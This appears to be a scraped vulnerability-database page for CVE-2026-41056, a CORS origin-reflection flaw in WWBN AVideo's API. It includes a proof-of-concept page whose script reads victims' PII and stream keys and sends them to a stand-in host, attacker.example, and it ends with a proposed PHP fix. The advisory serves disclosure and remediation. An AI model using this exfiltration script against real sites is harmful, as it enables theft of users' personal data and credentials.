Loading...

\n\n\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 — replace the $allowAll block with:\nif ($allowAll) {\n $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n if (!empty($requestOrigin)) {\n // Validate origin against site domain before reflecting\n $siteOrigin = '';\n if (!empty($global['webSiteRootURL'])) {\n $parsed = parse_url($global['webSiteRootURL']);\n if (!empty($parsed['scheme']) && !empty($parsed['host'])) {\n $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];\n if (!empty($parsed['port'])) {\n $siteOrigin .= ':' . $parsed['port'];\n }\n }\n }\n if ($requestOrigin === $siteOrigin) {\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n header('Access-Control-Allow-Credentials: true');\n } else {\n // For truly public resources (ad XML), allow without credentials\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n // Do NOT set Allow-Credentials for untrusted origins\n }\n } else {\n header('Access-Control-Allow-Origin: *');\n }\n // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.","inLanguage":"en","url":"https://vulnscope.dev/en/cve/CVE-2026-41056","author":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"publisher":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"about":{"@type":"Thing","name":"CVE-2026-41056","identifier":"CVE-2026-41056","additionalProperty":[{"@type":"PropertyValue","name":"CVSS","value":8.1},{"@type":"PropertyValue","name":"EPSS","value":0.00108},{"@type":"PropertyValue","name":"KEV","value":false}]}}

CVE-2026-41056

WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

8.1

HIGH

CVSS 3.1

EPSS 0.11%

Description

## Summary The `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim. ## Details The vulnerable code path is in `objects/functions.php` lines 2773-2791: ```php // objects/functions.php:2773 if ($allowAll) { $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? ''; if (!empty($requestOrigin)) { header('Access-Control-Allow-Origin: ' . $requestOrigin); header('Access-Control-Allow-Credentials: true'); } else { header('Access-Control-Allow-Origin: *'); } // ... allows all methods and headers ... return; } ``` This is called unconditionally at the top of both API entry points: ```php // plugin/API/get.json.php:12 allowOrigin(true); // plugin/API/set.json.php:12 allowOrigin(true); ``` The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface. The attack is enabled by the session cookie configuration at `objects/include_config.php:144`: ```php ini_set('session.cookie_samesite', 'None'); ``` This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`). When a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including: - Email, full name, address, phone, birth date (PII) - Admin status and permission flags - Livestream server URL with embedded password (API.php:3059) - Encrypted stream key (API.php:3063) The recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched. ## PoC **Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`): ```html <html> <body> <h1>AVideo CORS PoC</h1> <script> // Step 1: Steal user profile data (PII, admin status, stream keys) fetch('https://TARGET/plugin/API/get.json.php?APIName=user', { credentials: 'include' }) .then(r => r.json()) .then(data => { document.getElementById('result').textContent = JSON.stringify(data, null, 2); // Exfiltrate to attacker server navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({ email: data.user?.email, name: data.user?.user, isAdmin: data.user?.isAdmin, streamKey: data.livestream?.key, streamServer: data.livestream?.server }) ); }); </script> <pre id="result">Loading...</pre> </body> </html> ``` **Step 2:** Victim visits the attacker page while logged into the AVideo instance. **Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with: ``` Access-Control-Allow-Origin: https://attacker.example Access-Control-Allow-Credentials: true ``` **Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys. **Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim. ## Impact - **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page - **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking - **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts - **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim - **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor ## Recommended Fix Replace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does: ```php // objects/functions.php:2773 — replace the $allowAll block with: if ($allowAll) { $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? ''; if (!empty($requestOrigin)) { // Validate origin against site domain before reflecting $siteOrigin = ''; if (!empty($global['webSiteRootURL'])) { $parsed = parse_url($global['webSiteRootURL']); if (!empty($parsed['scheme']) && !empty($parsed['host'])) { $siteOrigin = $parsed['scheme'] . '://' . $parsed['host']; if (!empty($parsed['port'])) { $siteOrigin .= ':' . $parsed['port']; } } } if ($requestOrigin === $siteOrigin) { header('Access-Control-Allow-Origin: ' . $requestOrigin); header('Access-Control-Allow-Credentials: true'); } else { // For truly public resources (ad XML), allow without credentials header('Access-Control-Allow-Origin: ' . $requestOrigin); // Do NOT set Allow-Credentials for untrusted origins } } else { header('Access-Control-Allow-Origin: *'); } // ... rest of headers ... } ``` Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.

CVE-2026-41056

Description

How to fix CVE-2026-41056

Is CVE-2026-41056 being exploited?

Affected packages (1)

CVSS scores

References (4)